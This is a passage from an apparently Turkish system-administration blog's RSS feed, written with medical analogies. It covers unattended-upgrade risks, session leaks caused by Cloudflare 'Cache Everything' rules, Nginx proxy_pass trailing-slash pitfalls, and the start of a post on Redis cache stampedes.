<p>Ubuntu ve Debian'da <code>unattended-upgrades</code> varsayılan olarak yalnızca güvenlik depolarını dinleyecek şekilde yapılandırılabilir:</p>
<pre><code class="language-text">// /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {
    "${distro_id}:${distro_codename}-security";
    // "${distro_id}:${distro_codename}-updates"; &#x3C;-- BU SATIR YORUMA ALINMALIDIR!
};
</code></pre>
<p>Eğer <code>-updates</code> veya üçüncü taraf PPA depoları (Ondrej PHP, Docker, NodeSource) otomatik güncellemelerin içine dahil edilirse, sunucunuz her an üçüncü taraf bir geliştiricinin deposuna yüklediği hatalı bir paketle havaya uçabilir.</p>
<hr>
<h2>Otomatik Yeniden Başlatma (Reboot) Felaketi</h2>
<p>Otomatik güncelleme açanların düştüğü ikinci ölümcül hata, <code>automatic-reboot</code> seçeneğini aktif etmektir:</p>
<pre><code class="language-text">Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "04:00";
</code></pre>
<p>Sunucu gece saat 04:00'te yeni gelen bir Linux Kernel paketi için <code>reboot</code> atar. Ancak:</p>
<ul>
<li>Sunucuda elle başlatılan ve <code>systemd</code> servisi haline getirilmemiş kritik bir Docker konteyneri veya soket dinleyicisi vardır; ayağa kalkamaz.</li>
<li><code>/etc/fstab</code> dosyasına daha önce bağlanmış ama o an erişilemeyen bir NFS/SMB ağı yazılmıştır; işletim sistemi boot sırasında acil durum kurtarma kabuğuna (Emergency Recovery Shell) düşer ve sunucu tamamen çevrimdışı kalır.</li>
<li>Yazılım RAID dizisi senkronizasyon hatasına düşer.</li>
</ul>
<p>Sabah veri merkezine konsol kablosuyla bağlanmak zorunda kalırsınız.</p>
<hr>
<h2>Profesyonel Değişiklik Yönetimi: İmmünoloji Protokolü</h2>
<p>Klinik farmakolojide yeni bir ilacın hastalara rutin olarak verilmesi yıllar süren klinik faz çalışmalarına (Faz 1, Faz 2, Faz 3) tabidir. Bir sunucu filosu da bu hiyerarşiyle güncellenmelidir:</p>
<pre><code>[Merkezi Depo / Mirror]
         │
         ▼
[Geliştirme / Staging Ortamı] (Test edildi, birim testler geçti)
         │
         ▼
[Canary / Pilot Sunucu (%5 Trafik)] (48 saat izlendi, hata metriği yok)
         │
         ▼
[Canlı Küme (Rolling Upgrade)] (Trafik yük dengeleyicide kesilerek adım adım)
</code></pre>
<ol>
<li><strong>Paket Sürümlerini Sabitleyin (Package Pinning / Apt Hold):</strong><br>
Canlı ortamda kritik servislerin (MySQL, Nginx, PHP, Redis) kontrolsüz güncellenmesini engelleyin:
<pre><code class="language-bash">apt-mark hold nginx php8.2-fpm mysql-server
# RedHat / AlmaLinux için:
dnf versionlock add nginx
</code></pre>
</li>
<li><strong>Immutable Infrastructure (Değişmez Altyapı):</strong><br>
Modern bulut mimarilerinde çalışan sunucular güncellenmez; değiştirilir. Packer veya Terraform ile güncel paketleri içeren yeni bir altın imaj (Golden AMI / Image) üretilir. Staging ortamında test edilir; ardından yeni sunucular devreye alınıp eskileri kademeli olarak imha edilir (Blue/Green Deployment).</li>
<li><strong>Planlı Bakım Pencereleri (Maintenance Windows):</strong><br>
Güncellemeler otomasyon robotunun canının istediği saatte değil; sistem mühendisinin kahvesini eline alıp terminal başında metrikleri, logları ve APM grafiklerini (Datadog, Prometheus) gözlemlediği planlı zaman dilimlerinde elle icra edilir.</li>
</ol>
<h2>Sonuç</h2>
<p>Otomasyon, rutin ve öngörülebilir işleri hızlandırmak için vardır; belirsiz ve kırıcı riskleri karanlığa terk etmek için değil.</p>
<p>Canlı bir üretim sunucusunda <code>apt-get upgrade -y</code> komutunu zamanlanmış göreve bağlamak, cesaret değil basiretsizliktir. Kararlılık (stability), en son sürüme sahip olmaktan her zaman daha kıymetlidir. Sunucularınızı laboratuvar kobayı gibi kullanmayın; her ilacın yan etkisini önce izole ortamda görün, reçeteyi canlıya ancak ondan sonra yazın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Linux</category>
            <category>SysAdmin</category>
            <category>Package Management</category>
            <category>apt</category>
            <category>yum</category>
            <category>DevOps</category>
            <category>Kesinti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucuda-otomatik-yum-update--apt-upgrade-cilginligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Cloudflare Caching Yüzünden Dinamik İçeriğin Statikleşmesi]]></title>
            <link>http://localhost:3000/blog/post/cloudflare-caching-yuzunden-dinamik-icerigin-statiklesmesi</link>
            <guid>cloudflare-caching-yuzunden-dinamik-icerigin-statiklesmesi</guid>
            <pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Cloudflare üzerinde bilinçsizce 'Cache Everything' kuralı açarak kullanıcı sepetlerini, oturum çerezlerini ve kişisel verileri tüm dünyaya servis eden e-ticaret sitelerinin KVKK felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cloudflare-caching-yuzunden-dinamik-icerigin-statiklesmesi/thumbnail" alt=""> Hastanenin acil triyaj ve laboratuvar servisini gözünüzün önüne getirin. Sabah 08:00'de acile göğüs ağrısıyla başvuran Mehmet Bey'in kan tahlilleri, EKG grafisi ve T.C. kimlik numarasıyla bir acil durum raporu basılır. Şimdi triyajdaki memurun, "İşlerimiz çok yoğun, her hastaya ayrı tahlil kağıdı basmakla vakit kaybetmeyelim, tonerden tasarruf edelim" diyerek Mehmet Bey'in tahlil raporunu fotokopi makinesine koyduğunu ve gün boyunca acile giren sonraki 500 hastanın eline Mehmet Bey'in adının, T.C. kimlik numarasının ve kardiyak troponin değerlerinin basılı olduğu o fotokopiyi tutuşturduğunu hayal edin. Ayşe Hanım elindeki raporla kardiyolojiye sevk edilir, hekim raporu okuyup Ayşe Hanım'ı acilen yoğun bakıma yatırmaya çalışır; Ayşe Hanım ise "Ben sadece boğaz ağrısı için gelmiştim, bu Mehmet Bey kim?" diye çığlık atar. Hastane için bu sahne hem tıbbi bir cinayet girişimi hem de en ağır hasta mahremiyeti ihlalidir.</p>
<p>Web mimarisinde CDN ve önbellekleme (caching) katmanlarını yönetirken yapılan en vahim hata da tam olarak budur. Cloudflare, Varnish, Fastly veya Nginx üzerinde "Sitemiz jet gibi açılsın, sunucunun yükü sıfırlansın" hevesiyle bilinçsizce yazılan bir <strong>"Cache Everything" (Her Şeyi Önbelleğe Al)</strong> kuralı; bir e-ticaret sitesini veya kullanıcı portalını anında kitlesel bir Kişisel Verileri Koruma Kanunu (KVKK / GDPR) skandalına dönüştürür.</p>
<hr>
<h2>CDN Mantığı: Statik Varlıklar vs. Dinamik Oturumlar</h2>
<p>İçerik Dağıtım Ağları (CDN), web sitelerinin hızını artırmak için harika araçlardır. Mimarinin temel varoluş sebebi statik dosyaları (CSS, JS, PNG, JPG, WebP, Font dosyaları) kullanıcının coğrafi konumuna en yakın uç sunucuda (Edge Server) saklamak ve ana kaynak sunucuya (Origin Server) binen yükü azaltmaktır.</p>
<p>Varsayılan ayarlarda Cloudflare akıllıdır; yalnızca bilinen statik dosya uzantılarını önbelleğe alır. HTML çıktılarını, dinamik PHP/Node.js yanıtlarını asla hafızasında dondurmaz.</p>
<p>Fakat sistem yöneticisi veya pazarlama ekibi Google PageSpeed skorlarında "100/100" görmek veya zayıf VPS sunucusunun CPU kullanımını düşürmek istediğinde YouTube'da izlediği yarım yamalak bir tavsiyeye uyar:<br>
<em>"Cloudflare Page Rules'a girin, URL desenine <code>*example.com/*</code> yazın ve Cache Level seçeneğini 'Cache Everything' yapın! Siteniz roket gibi uçacak!"</em></p>
<p>Evet; site gerçekten uçuşa geçer. Sunucu CPU kullanımı %5'e düşer, yanıt süreleri 15 milisaniyeye iner. Ancak sitenin arkasında dönen dehşeti kimse fark etmemiştir.</p>
<hr>
<h2>Patolojinin Gelişimi: Oturum Sızıntısı (Session Bleed)</h2>
<p>Dinamik bir web uygulamasında kullanıcının kimliği HTTP başlıkları (özellikle <code>Cookie</code> ve <code>Set-Cookie</code>) ve sunucu tarafı oturumları (session) ile yönetilir:</p>
<pre><code>+------------------------------------------------------------------------+
|                   HATALI ÖNBELLEKLEME SENARYOSU                        |
|                                                                        |
|  1. Kullanıcı A (Ali Bey) siteye giriş yapar.                          |
|  2. Sunucu Ali Bey için dinamik bir HTML üretir:                       |
|     - Header: Set-Cookie: PHPSESSID=ali_oturum_token_123               |
|     - HTML Body: "Hoş geldiniz Ali Bey! Sepetiniz: 2 Ürün (1.450 TL)"  |
|                                                                        |
|  3. Cloudflare Edge Sunucusu "Cache Everything" gereği bu HTML'i ve    |
|     tüm HTTP başlıklarını hafızasına kopyalar!                         |
|                                                                        |
|  4. Kullanıcı B (Ayşe Hanım) siteye girer (`example.com/hesabim`).     |
|  5. Cloudflare isteği kaynak sunucuya GÖNDERMEZ!                        |
|     Hafızasındaki Ali Bey'in HTML'ini ve çerezini Ayşe Hanım'a verir!  |
|                                                                        |
|  6. Ayşe Hanım ekranda şunu görür:                                     |
|     "Hoş geldiniz Ali Bey! Kayıtlı Kartınız: **** 4412"                |
|     "Teslimat Adresi: Kadıköy / İstanbul"                              |
+------------------------------------------------------------------------+
</code></pre>
<p>Bu aşamada Ayşe Hanım sadece Ali Bey'in adını ve sepetini görmekle kalmaz; Ali Bey'in oturum çerezine sahip olduğu için Ali Bey'in adına sipariş verebilir, kayıtlı adresini silebilir veya hesabın şifresini değiştirebilir.</p>
<p>Bir saat içinde siteye giren binlerce kullanıcı, önbelleğin süresi dolana kadar (Edge Cache TTL) o ilk şanssız kullanıcının kimliğiyle işlem yapar.</p>
<hr>
<h2>E-Ticarette Yaşanan Tipik Semptomlar</h2>
<p>Böyle bir felaket patlak verdiğinde müşteri hizmetleri santrali dakikalar içinde kilitlenir:</p>
<ol>
<li><strong>Sepetlerin Birbirine Karışması:</strong><br>
Bir müşteri sepete bir mont ekler. Başka bir şehirdeki müşteri sayfayı yenilediğinde sepette o montu görür. Kendi sepetini boşalttığında diğer müşterinin sepeti de boşalır.</li>
<li><strong>Kişisel Veri İfşası:</strong><br>
Sitenin <code>/profil</code> veya <code>/siparislerim</code> sayfası önbelleğe alındığı için kullanıcıların T.C. kimlik numaraları, açık ev adresleri, telefonları ve son sipariş detayları kamuya açık hale gelir.</li>
<li><strong>Kredi Kartı Formlarının Bozulması:</strong><br>
Ödeme sayfalarında kullanılan anti-CSRF token'ları tek bir kullanıcı için üretilip önbelleğe alındığından, diğer kullanıcıların ödeme denemeleri "CSRF Token Mismatch" veya "Oturum Doğrulanamadı" hatasıyla çöker. Satışlar aniden bıçak gibi kesilir.</li>
</ol>
<hr>
<h2>Nerede Hata Yapıldı? Cache-Control ve Edge Kuralları</h2>
<p>Bu patolojinin sorumlusu Cloudflare değil; HTTP önbellek başlıklarını ve CDN kurallarını anlamayan mimari tasarımdır.</p>
<h3>1. Kaynak Sunucu <code>Cache-Control: private, no-store</code> Göndermedi</h3>
<p>Modern bir arka yüz (backend) uygulaması, oturuma duyarlı veya kişisel veri içeren sayfalarda HTTP başlığını şu şekilde basmak zorundadır:</p>
<pre><code class="language-http">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
</code></pre>
<p><code>no-store</code> direktifi, yol boyunca hiçbir vekil sunucunun (proxy), tarayıcının veya CDN'in bu yanıtı belleğe yazamayacağını emreder. Ancak Cloudflare'da "Edge Cache TTL" kuralında <em>"Override origin and use cache"</em> (Kaynak başlıklarını yok say ve önbelleğe al) seçeneği işaretlenirse, Cloudflare kaynak sunucunun bu feryadını çiğner ve sayfayı zorla dondurur.</p>
<h3>2. Dinamik ile Statik Ayrımı Yapılmadı</h3>
<p>HTML önbelleklemek (HTML Caching) mümkündür ve yüksek trafikli haber sitelerinde, bloglarda mükemmel sonuç verir. Ancak bu işlem şu katı kurallara bağlanmalıdır:</p>
<ul>
<li><strong>Misafir (Guest) vs. Giriş Yapmış (Logged-in) Ayrımı:</strong><br>
Eğer kullanıcı oturum açtıysa (<code>Cookie: wordpress_logged_in_*</code>, <code>Cookie: PHPSESSID</code>, <code>Cookie: connect.sid</code>), önbellek mekanizması anında devre dışı kalmalıdır (<strong>Bypass Cache on Cookie</strong>).</li>
<li><strong>Sepet Kontrolü:</strong><br>
E-ticaret sitelerinde sepet çerezi (<code>woocommerce_items_in_cart</code> vb.) varsa önbellek asla tetiklenmemelidir.</li>
<li><strong>Kişisel Sayfaların İstisna Tutulması:</strong><br>
<code>/hesabim/*</code>, <code>/sepet/*</code>, <code>/odeme/*</code>, <code>/api/*</code>, <code>/admin/*</code> yolları CDN seviyesinde açıkça <code>Bypass Cache</code> kuralına bağlanmalıdır.</li>
</ul>
<hr>
<h2>Doğru Cloudflare Kural Mimarisi</h2>
<p>Bir e-ticaret veya kullanıcı girişi olan platformda Cloudflare Page Rules veya Cache Rules yapılandırılırken izlenmesi gereken cerrahi sıra şudur:</p>
<pre><code>[Kural 1 - En Yüksek Öncelik]
URL: *example.com/hesabim*
URL: *example.com/sepet*
URL: *example.com/odeme*
Aksiyon: Cache Level -> Bypass (Asla Önbelleğe Alma!)

[Kural 2 - Çerez Bazlı Baypas (Kurumsal Plan veya Cache Rules)]
Eğer HTTP Cookie şu değeri içeriyorsa: "session" VEYA "logged_in" VEYA "cart"
Aksiyon: Bypass Cache

[Kural 3 - Yalnızca Statik Varlıklar ve Genel Sayfalar]
URL: *example.com/blog/* (Yalnızca herkese açık içerik)
Aksiyon: Cache Everything
Edge Cache TTL: 4 hours
</code></pre>
<p>Eğer ücretsiz veya giriş seviyesi Cloudflare planı kullanıyorsanız ve çerez bazlı dinamik baypas yapamıyorsanız; <strong>HTML sayfaları için asla "Cache Everything" açmayın!</strong> Varsayılan <code>Standard</code> önbellek seviyesinde kalın; Cloudflare yalnızca resimleri, CSS ve JS dosyalarını önbelleğe alsın, HTML üretimi kaynak sunucuda kalsın.</p>
<hr>
<h2>Hukuki ve Kurumsal Fatura: KVKK Seviye 1 Felaketi</h2>
<p>Böyle bir olay yaşandığında sistem yöneticisinin ilk refleksi Cloudflare'a girip <code>Purge Everything</code> butonuna basmaktır. Evet, anlık olarak sızıntı durur; ancak hukuki süreç yeni başlamıştır.</p>
<p>6698 sayılı Kişisel Verilerin Korunması Kanunu'na (KVKK) ve Avrupa'daki GDPR düzenlemelerine göre:</p>
<ul>
<li>Veri ihlali tespit edildiği andan itibaren <strong>en geç 72 saat içinde</strong> Kişisel Verileri Koruma Kurulu'na resmi bildirim yapılmalıdır.</li>
<li>Hangi kullanıcıların verilerinin başka kullanıcılar tarafından görüntülendiği Cloudflare ve Nginx loglarından adli bilişim düzeyinde tespit edilmeli, etkilenen tüm kullanıcılara bilgilendirme e-postası atılmalıdır.</li>
<li>Bu ihmalin kuruma faturası milyonlarca liralık idari para cezaları ve telafisi imkânsız bir itibar kaybıdır.</li>
</ul>
<h2>Sonuç</h2>
<p>Önbellekleme, susamış bir hastaya serum vermek gibidir; doğru dozda ve doğru damardan verildiğinde hayat kurtarır. Ancak ilacın farmakolojisini bilmeden tüm vanaları sonuna kadar açarsanız, hastayı hipervolemik şoka sokup boğarsınız.</p>
<p>"Cache Everything" bir hız hilesi değil; dikkatle yönetilmesi gereken yüksek riskli bir mühendislik kararıdır. Hangi verinin herkese açık, hangi verinin kişiye özel olduğunu ayırt edemeyen bir altyapı; hızlı bir web sitesi değil, patlamış bir gizlilik lağımı üretir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Cloudflare</category>
            <category>Cache</category>
            <category>KVKK</category>
            <category>Web Güvenliği</category>
            <category>CDN</category>
            <category>Session Leak</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cloudflare-caching-yuzunden-dinamik-icerigin-statiklesmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Nginx Reverse Proxy Arkasında Yanlış proxy_pass Trajedisi]]></title>
            <link>http://localhost:3000/blog/post/nginx-reverse-proxy-arkasinda-yanlis-proxy_pass-trajedisi</link>
            <guid>nginx-reverse-proxy-arkasinda-yanlis-proxy_pass-trajedisi</guid>
            <pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Nginx yapılandırmasında proxy_pass direktifinin sonundaki tek bir eğik çizginin (/) varlığı ya da yokluğunun tüm URI yönlendirmelerini altüst edip sistemi 404 krizine sokması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/nginx-reverse-proxy-arkasinda-yanlis-proxy_pass-trajedisi/thumbnail" alt=""> Acil tıpta ve anesteziyolojide kritik bir işlem vardır: <strong>Endotrakeal Entübasyon</strong>. Solunumu durmuş bir hastanın nefes borusuna (trakea) laringoskop yardımıyla plastik bir tüp yerleştirirsiniz. Bu tüpün ucu, trakeanın iki ana bronşa ayrıldığı anatomik çatala (karina) tam olarak 2-3 santimetre mesafede sabitlenmelidir. Eğer tüpü dikkatsizce sadece 1.5 santimetre daha derine iterseniz ne olur? Tüp anatomik açısı gereği doğrudan sağ ana bronşa kayar. Sonuç: Hastanın sağ akciğeri aşırı havalanıp yırtılma riskiyle (barotravma) karşı karşıya kalırken, sol akciğere tek bir molekül oksijen gitmez; sol akciğer tamamen söner (masif atelektazi) ve hasta parmaklarınızın ucunda morararak hipoksiye girer. Yalnızca tek bir santimetrelik hizalama hatası, hayat kurtaran bir boruyu ölümcül bir tıkaca dönüştürür.</p>
<p>Modern mikroservis ve web mimarisinde Nginx'in <code>proxy_pass</code> direktifinin sonuna konulan ya da unutulan o <strong>tek bir eğik çizgi (<code>/</code>)</strong>, tam olarak bu endotrakeal tüpün ucundaki 1 santimetrelik kritik mesafedir.</p>
<p>Geliştirici Node.js, Python FastAPI, Go veya Java Spring Boot ile harika bir mikroservis yazar; uygulamanın önüne Nginx ters vekili (Reverse Proxy) koyar. Ancak o tek bir karakter yüzünden tüm URI yolları kayar, statik dosyalar kaybolur, API endpoint'leri <code>404 Not Found</code> çöplüğüne döner ve saatlerce "Nginx çok karmaşık, bu web sunucusu çalışmıyor" diye feryat edilir.</p>
<hr>
<h2>O Meşhur Eğik Çizgi: URI Ekleme vs. Değiştirme Mantığı</h2>
<p>Nginx belgelerinde açıkça yazan ama geliştiricilerin ezici çoğunluğunun okumadan geçtiği bir kural vardır: <strong><code>proxy_pass</code> direktifine bir URI (yol) dahil edilmiş midir, edilmemiş midir?</strong></p>
<p>Nginx bu konuda tavizsiz bir algoritmaya sahiptir. İki yapılandırma arasındaki farkı inceleyelim:</p>
<pre><code class="language-nginx"># SENARYO A: proxy_pass sonunda eğik çizgi YOK
location /api/ {
    proxy_pass http://127.0.0.1:8000;
}

# SENARYO B: proxy_pass sonunda eğik çizgi VAR
location /api/ {
    proxy_pass http://127.0.0.1:8000/;
}
</code></pre>
<p>İlk bakışta aradaki tek fark bir klavye vuruşudur. Oysa Nginx çekirdeği için bu iki satır bambaşka iki evrendir.</p>
<hr>
<h2>Mekanizmanın İç Organları: İstekler Nereye Gider?</h2>
<p>Diyelim ki bir istemci web sitenize şu isteği attı:<br>
<code>GET /api/v1/users/list</code></p>
<h3>Senaryo A (Eğik Çizgi Yok - Doğrudan İletim):</h3>
<pre><code class="language-nginx">location /api/ {
    proxy_pass http://127.0.0.1:8000;
}
</code></pre>
<p><code>proxy_pass</code> parametresinde port numarasından sonra hiçbir URI yolu (hatta tek bir <code>/</code> bile) belirtilmemiştir.</p>
<ul>
<li><strong>Nginx Kuralı:</strong> İstemciden gelen URI yoluna dokunma, aynen olduğu gibi arkadaki backend servisine fırlat.</li>
<li><strong>Backend'e Ulaşan İstek:</strong> <code>http://127.0.0.1:8000/api/v1/users/list</code></li>
<li>Eğer backend servisiniz (Express/FastAPI) rotalarını <code>/api/v1/...</code> şeklinde tanımladıysa işlem kusursuz çalışır.</li>
</ul>
<h3>Senaryo B (Eğik Çizgi Var - Normalleştirme ve Değiştirme):</h3>
<pre><code class="language-nginx">location /api/ {
    proxy_pass http://127.0.0.1:8000/;
}
</code></pre>
<p>Burada <code>http://127.0.0.1:8000/</code> yazılmıştır; yani porttan sonra bir URI kökü (<code>/</code>) tanımlanmıştır!</p>
<ul>
<li><strong>Nginx Kuralı:</strong> <code>location</code> eşleşmesindeki kısmı (<code>/api/</code>) istekten söküp at! Kalan kısmı <code>proxy_pass</code> direktifindeki URI'nin ucuna yapıştır!</li>
<li><strong>İstemcinin İsteği:</strong> <code>/api/v1/users/list</code></li>
<li>Sökülen Kısım: <code>/api/</code></li>
<li>Kalan Kısım: <code>v1/users/list</code></li>
<li><strong>Backend'e Ulaşan İstek:</strong> <code>http://127.0.0.1:8000/v1/users/list</code></li>
</ul>
<p>Eğer backend uygulamanız <code>/api</code> önekini bekliyorsa, anında <code>404 Cannot GET /v1/users/list</code> hatası patlar!</p>
<pre><code>+------------------------------------------------------------------------+
|                   İSTEK: /api/v1/users/list                            |
|                                                                        |
|  [proxy_pass http://127.0.0.1:8000]                                    |
|  ===> Backend Alır: /api/v1/users/list (Birebir İletim)                |
|                                                                        |
|  [proxy_pass http://127.0.0.1:8000/]                                   |
|  ===> Backend Alır: /v1/users/list     (/api/ Söküldü, Değiştirildi)   |
+------------------------------------------------------------------------+
</code></pre>
<hr>
<h2>Daha da Beteri: Çift Eğik Çizgi ve Kelime Birleşmesi Felaketi</h2>
<p>Geliştiricilerin en çok saç baş yolduğu varyasyon, <code>location</code> ile <code>proxy_pass</code> arasındaki eğik çizgi asimetrisidir.</p>
<h3>Hata 1: Kelimelerin Birbirine Kaynaması</h3>
<pre><code class="language-nginx">location /api {
    proxy_pass http://127.0.0.1:8000/v1;
}
</code></pre>
<p>İstemci istek atar: <code>GET /api/users</code></p>
<ul>
<li>Eşleşen kısım: <code>/api</code></li>
<li>Kalan kısım: <code>/users</code></li>
<li>Nginx birleştirir: <code>http://127.0.0.1:8000/v1</code> + <code>/users</code> = <code>http://127.0.0.1:8000/v1/users</code> (Çalıştı gibi göründü).</li>
<li>Ama istemci <code>GET /api</code> isteği atarsa ne olur?</li>
<li>Kalan kısım: (boş)</li>
<li>Nginx birleştirir: <code>http://127.0.0.1:8000/v1</code> -> Rota kaydı!</li>
</ul>
<h3>Hata 2: Çift Bölü (<code>//</code>) Çıkmazı</h3>
<pre><code class="language-nginx">location /service/ {
    proxy_pass http://127.0.0.1:8000//;
}
# Veya
location /service {
    proxy_pass http://127.0.0.1:8000/;
}
</code></pre>
<p>İstemci istek atar: <code>GET /service/profile</code></p>
<ul>
<li>Eşleşen kısım: <code>/service</code></li>
<li>Kalan kısım: <code>/profile</code></li>
<li>Nginx birleştirir: <code>http://127.0.0.1:8000/</code> + <code>/profile</code> = <code>http://127.0.0.1:8000//profile</code></li>
<li>Birçok modern web framework'ü (Django, NestJS, Go Gin) çift bölü işaretini (<code>//</code>) geçersiz URI sayarak rotayı tanımaz ve <code>404 Not Found</code> döner. Geliştirici loglara baktığında iki bölü işaretini yan yana göremez bile; göz yanılmasıyla günlerce kodda hata arar.</li>
</ul>
<hr>
<h2>Regex (Düzenli İfade) Bloklarında Trajedi</h2>
<p>Nginx mimarisinde en tehlikeli tuzaklardan biri, <code>location</code> bloğunda Regex (düzenli ifade) kullanırken <code>proxy_pass</code> sonuna yol eklemektir:</p>
<pre><code class="language-nginx"># BU YAPILANDIRMA SYNTAX ERROR VERİR VE NGİNX BAŞLAMAZ!
location ~* ^/api/(.*)$ {
    proxy_pass http://127.0.0.1:8000/$1;
}
</code></pre>
<p>Nginx konsolu acımasızca uyarır:<br>
<code>"proxy_pass" cannot have URI part in location given by regular expression, or inside named location, or in "if" statement...</code></p>
<p>Çünkü Nginx çekirdeği, regex ile ayrıştırılmış bir blokta URI'nin nasıl normalize edileceğini otomatik olarak belirleyemez. Burada değişkenler (<code>$1</code>) ve açık yeniden yazımlar (<code>rewrite ... break</code>) kullanılmak zorundadır:</p>
<pre><code class="language-nginx"># Doğru Regex Kullanımı:
location ~* ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /$1 break;
    proxy_pass http://127.0.0.1:8000;
}
</code></pre>
<hr>
<h2>İstemci Bilgilerini Kaybetmemek: Hayati Proxy Başlıkları</h2>
<p><code>proxy_pass</code> doğru çalışsa bile, arkadaki backend servisi dünyayı sadece <code>127.0.0.1</code> olarak görmeye başlar. Kullanıcının gerçek IP'si, protokolü (HTTP mi HTTPS mi) ve orijinal Host adı buharlaşır.</p>
<p>Eksiksiz ve profesyonel bir ters vekil bloğu her zaman şu başlıkları taşımak zorundadır:</p>
<pre><code class="language-nginx">location /api/ {
    # Backend servisine birebir aktar
    proxy_pass http://127.0.0.1:8000;

    # Orijinal istemci üstbilgilerini koru
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;

    # HTTP/1.1 ve Keep-Alive bağlantılarını aktif et (Performans için şart)
    proxy_http_version 1.1;
    proxy_set_header Connection "";

    # Zaman aşımı sürelerini ayarla
    proxy_connect_timeout 60s;
    proxy_send_timeout 60s;
    proxy_read_timeout 60s;
}
</code></pre>
<h2>Sonuç</h2>
<p>Mühendislikte "küçük detay" diye bir şey yoktur. Bir entübasyon tüpünün 1 santimetre derine inmesi akciğeri söndürür; Nginx yapılandırma satırındaki tek bir <code>/</code> karakteri ise tüm sistemi felç edip milyonlarca isteği karanlığa gömer.</p>
<p>Sisteminizin önüne bir ters vekil koyarken kopyala-yapıştır yapmayın. URI'nin nerede başlayıp nerede bittiğini, hangi önekin soyulup hangisinin aktarıldığını cerrahi bir dikkatle hesaplayın. Tek bir eğik çizginin arkasındaki mekanizmayı anladığınız gün, Nginx sizin için bir bulmaca olmaktan çıkıp güvenilir bir neşter haline gelir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Nginx</category>
            <category>Reverse Proxy</category>
            <category>proxy_pass</category>
            <category>DevOps</category>
            <category>Web Sunucusu</category>
            <category>Mimari</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/nginx-reverse-proxy-arkasinda-yanlis-proxy_pass-trajedisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[E-Ticarette Redis / Memcached Önbelleğinin Çökmesiyle Yıkılan Ana Veritabanı]]></title>
            <link>http://localhost:3000/blog/post/e-ticarette-redis--memcached-onbelleginin-cokmesiyle-yikilan-ana-veritabani</link>
            <guid>e-ticarette-redis--memcached-onbelleginin-cokmesiyle-yikilan-ana-veritabani</guid>
            <pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yüksek trafikli e-ticaret sitelerinde önbellek katmanı aniden çöktüğünde binlerce anlık isteğin doğrudan MySQL'e vurmasıyla yaşanan Cache Stampede felaketi ve mimari çözümleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-ticarette-redis--memcached-onbelleginin-cokmesiyle-yikilan-ana-veritabani/thumbnail" alt=""> İnsan dolaşım sisteminde kalpten çıkan yüksek basınçlı kan akımı, elastik yapısıyla şok emici görevi gören ana aort damarı tarafından karşılanır. Aort, her sistolde genişleyip diyastolde kasılarak kanın dokulara ve kırılgan kılcal damarlara (kapiller ağ) düzenli, sakin ve tolere edilebilir bir debiyle ulaşmasını sağlar. Şimdi bu tampon görevi gören ana aort duvarının aniden yırtıldığını (aort diseksiyonu) ya da ameliyat sırasında konulan hemostatik tamponun kontrolsüzce çekildiğini düşünün. Yüksek debili, devasa hacimli arteriyel kan aniden doğrudan incecik kapiller yatağa hücum eder. Kılcal damarlar bu devasa basınca saniyeler bile dayanamaz; patlar, parçalanır ve hasta dakikalar içinde masif iç kanamayla geri döndürülemez bir kardiyovasküler kollapsa girer.</p>
<p>Yüksek trafikli web uygulamalarında ve e-ticaret platformlarında <strong>Redis</strong> veya <strong>Memcached</strong> gibi bellek içi (in-memory) önbellek katmanları tam olarak bu aort görevi görür. Ana veritabanını (MySQL, PostgreSQL) saniyede gelen on binlerce acımasız SELECT sorgusunun yıkıcı basıncından korur.</p>
<p>Ancak bir gün RAM dolduğu için OOM Killer devreye girerse, Redis servisi çökerse veya tüm önbellek anahtarları aynı saniyede zaman aşımına (TTL Expiry) uğrarsa ne olur? Bilişim dünyasının en yıkıcı zincirleme reaksiyonu tetiklenir: <strong>Cache Stampede (Önbellek İzdihamı / Thundering Herd)</strong>.</p>
<hr>
<h2>Önbellek İllüzyonu: Sahte Güvenlik Hissi</h2>
<p>Modern e-ticaret mimarilerinde performans testleri yapılırken genellikle önbelleğin sıcak (warm cache) olduğu varsayılır.</p>
<ul>
<li>Ana sayfa ürün listesi, kategoriler, menüler, en çok satanlar listesi Redis'tedir.</li>
<li>İstemci istek atar; istek Nginx'ten Node.js/PHP uygulamasına gelir. Uygulama Redis'e bakar (<code>GET homepage_products</code>), veriyi 2 milisaniyede bellekten çeker ve kullanıcıya HTML basar.</li>
<li>Bu senaryoda MySQL sunucusu adeta tatildedir. CPU kullanımı %2, IOPS tüketimi sıfırdır. Sistem mühendisleri "Saniyede 50.000 isteği rahatça kaldırıyoruz" diyerek gururlanır.</li>
</ul>
<p>Oysa bu bir mühendislik başarısı değil, kırılgan bir illüzyondur. Çünkü altyapı, Redis'in olmadığı bir dünyayı hiç simüle etmemiştir.</p>
<pre><code>NORMAL AKIŞ (Warm Cache):
[50.000 İstek/sn] ───► [Nginx / App] ───► [Redis (%99.9 Hit)] ───► İstemciye Yanıt (2ms)
                                                │
